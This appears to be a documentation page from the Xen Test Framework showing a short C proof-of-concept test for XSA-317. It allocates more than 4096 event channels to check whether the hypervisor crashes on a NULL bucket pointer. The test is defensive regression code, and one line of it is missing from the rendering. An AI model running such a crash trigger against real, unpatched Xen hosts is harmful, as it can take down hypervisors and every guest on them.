Xen Test Framework
main.c
Go to the documentation of this file.
1 
18 #include <xtf.h>
19 
20 const char test_title[] = "XSA-317 PoC";
21 
22 void test_main(void)
23 {
24  unsigned int i;
25  struct evtchn_alloc_unbound ub = {
26  .dom = DOMID_SELF,
27  .remote_dom = 0,
28  };
29 
30  /*
31  * Create more event channels than the 4096 ABI limit. A fixed Xen, or
32  * not vulnerable configuration, should fail with -ENOSPC eventually.
33  */
34  for ( i = 0; i < 4100; ++i )
35  {
37 
38  if ( rc == -ENOSPC )
39  break;
40 
41  if ( rc )
42  return xtf_error("Error: Unexpected alloc_unbound error %d\n", rc);
43  }
44 
45  /*
46  * If Xen is still alive, it didn't fall over a NULL evtchn bucket
47  * pointer.
48  */
49  xtf_success("Success: Not vulnerable to XSA-317\n");
50 }
51 
52 /*
53  * Local variables:
54  * mode: C
55  * c-file-style: "BSD"
56  * c-basic-offset: 4
57  * tab-width: 4
58  * indent-tabs-mode: nil
59  * End:
60  */
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
static long hypercall_event_channel_op(unsigned int cmd, void *arg)
Definition: hypercall.h:167
const char test_title[]
The title of the test.
Definition: main.c:14
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
#define ENOSPC
Definition: errno.h:36
#define DOMID_SELF
Definition: xen.h:70
#define EVTCHNOP_alloc_unbound
Definition: event_channel.h:7